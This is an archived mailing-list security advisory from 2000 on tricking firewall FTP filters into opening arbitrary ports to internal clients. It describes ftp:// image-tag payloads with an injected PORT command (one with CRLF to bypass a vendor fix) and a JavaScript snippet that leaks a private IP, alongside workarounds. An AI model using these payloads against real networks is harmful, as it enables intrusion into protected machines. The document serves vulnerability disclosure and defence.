Extending the FTP "ALG" vulnerability to any FTP client Author: Mikael Olsson, EnterNet Sweden E-mail: mikael.olssonat_private Date: 2000-03-10 Synopsis ---------- For those of you that followed the discussion about the "Multiple Firewalls FTP PASV ALG Vulnerability", here's another take, but this time we'll attempt to break through to internal clients protected by firewalls with bad application layer filters. Basic idea : how to open arbitrary ports against a client ----------------------------------------------------------- * Send a HTML email to an HTML-enabled mail reader containing the tag <img src="ftp://ftp.rooted.com/aaaa[lots of A]aaaPORT 1,2,3,4,0,139"> You could also conceivably plant a web page somewhere on a server containing this link. Please reference the * Balance the number of A so that the PORT command will begin on a new packet boundary. This may also be done by having the server use a low TCP MSS to decrease the number of A's that one has to add. * The firewall in question will incorrectly parse the resulting RETR /aaaaaaaa[....]aaaaaPORT 1,2,3,4,0,139 as first a RETR command and then a PORT command and open port 139 against your address (1.2.3.4 in this case) * Now the server ftp.rooted.com can connect to the client on port 139. Ouch. Before you ask: No, it does not have to be port 139. It can be any port. Some firewalls disallow "known server ports" for these connections; such ports cannot be used, but I'm betting there are plenty other ports that can be used in such cases. Address translation playing games ----------------------------------- You have to know the IP address of the client in order to fool the firewall into opening the port. If the client is not dynamically NATed, this is easy. If the client IS dynamically NATed, this is a bit harder. How to make it work through address translation ------------------------------------------------- There are several ways to figure out what the private address is. Here's two: * Send an email to the address in question containing an img src ftp://ftp.rooted.com:23456 and hope that the firewall won't realise that port 23456 is FTP. PORT commands won't be translated this way, so the private IP adress will be exposed. This assumes that 23456 is allowed through the firewall and that it won't attempt to parse FTP command data on that port. * Send an email with a link to a web page that contains javascript that extracts the private IP address and posts it to the server. The javascript code below works on Netscape; I don't know what the equivalent is for MSIE. vartool=java.awt.Toolkit.getDefaultToolkit(); addr=java.net.InetAddress.getLocalHost(); ip=addr.getHostAddress(); Once we know about the IP address, we can adjust the img src so that it is valid for that specific internal client. The dynamic translation will also likely change the port number opened on the NAT:ed public address, but that's ok. All we have to do is read the command packet containing the PORT command, and we'll know what public address and port to connect to in order to get to "port 139" of the "protected" client. What about Checkpoint's FTP PASV fix for FW-1? ------------------------------------------------ Checkpoint's fix for FW-1 is to make sure that every packet in the command stream ends with CRLF (0x0a 0x0d in hex). That would help against the above attack, but not if we modify it a wee bit: src="ftp://ftp.rooted.com/aaaaaaa%0a%0dPORT 1,2,3,4,0,139" Ouch. This WILL work in a browser (I've verified it using a network sniffer, anyone care for a packet dump?). The firewall will see this as two separate commands: RETR aaaaaaaaaa PORT 1,2,3,4,0,139 which means that poorly implemented proxies are likely to be vulnerable aswell. Other fixes? -------------- I havent seen other firewall vendors make public claims that they protect against any of these attacks. Cisco is apparently working on a fix for PIX, but it's taking time, so I'm guessing they're doing it the right way - since doing it the right way really does take quite a bit of time. It would seem like all the others are silently going to sneak fixes into their upcoming updates and pretend like they never were vulnerable in the first place. Grumble. What firewalls are likely to be vulnerable? --------------------------------------------- This specific attack is likely to work against most "stateful inspection" firewalls with poorly implemented application layer filters. This probably includes most products out there. It may also affect poorly implemented "proxies" when the CRLF is added before the PORT command as described above. Has this been verified? ------------------------- Nope. I'm theorizing. But that's what I did with the FTP PASV attack aswell, and right enough, less than a day later reports came dropping in, and a few days after that Dug Song had written a generic proof-of-concept hack. Care to type up another one? References ------------ My original discussion on opening arbitrary ports to FTP servers from vuln-dev, date 2000-02-08, entitled "Breaking through FTP ALGs -- is it possible?" 389FEB7B.AA290CC7at_private">http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-02-8&msg=389FEB7B.AA290CC7at_private Example attack against FW-1 by John McDonald and Thomas Lopatic of Data Protect, date 2000-02-09, entitled "FireWall-1 FTP Server Vulnerability" 38A1B2D9.3B244FABat_private">http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-02-8&msg=38A1B2D9.3B244FABat_private The entire thread following John McDonald's post, which delves deeper into this issue and adds other ways of exploiting the vulnerability: Pine.BSO.4.10.10002181711020.9857-100000at_private">http://www.securityfocus.com/templates/archive.pike?list=1&date=2000-02-15&thread=Pine.BSO.4.10.10002181711020.9857-100000at_private Checkpoint's quick fix for FW-1 to counter the PASV attack against servers: http://www.checkpoint.com/techsupport/alerts/pasvftp.html Cisco's statement regarding ongoing work for the PIX: http://lists.gnac.net/firewalls/mhonarc/firewalls.200003/msg00090.html "The great picture" --------------------- Other protocols than FTP are likely to be affected by this type of vulnerability - pretty much any protocol that opens up ephereal ports after the initial command session. A couple that come to mind are: * Oracle SQL*Net (versions using separate data channels) * RealAudio/Video (secondary UDP channel) * H.323 (NetMeeting et al) Workarounds to this specific vulnerability -------------------------------------------- * Disable active FTP. Errrr, wait. The fix for the server side vulnerability was to disable passive FTP. Let's rephrase that: * Disable FTP altogether. Block port 21. Disable FTP Application Layer Filters on all ports in your firewall. * If you can't change the settings in your firewall, set the "FTP Proxy" setting in your browser/HTML-enabled mail reader to some address that doesn't exist, like 127.0.0.2. After this change, your browser won't be able to connect anywhere using FTP. Take care, everyone /Mike -- Mikael Olsson, EnterNet Sweden AB, Box 393, S-891 28 ÖRNSKÖLDSVIK Phone: +46 (0)660 105 50 Fax: +46 (0)660 122 50 Mobile: +46 (0)70 66 77 636 WWW: http://www.enternet.se E-mail: mikael.olssonat_private
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:39:28 PDT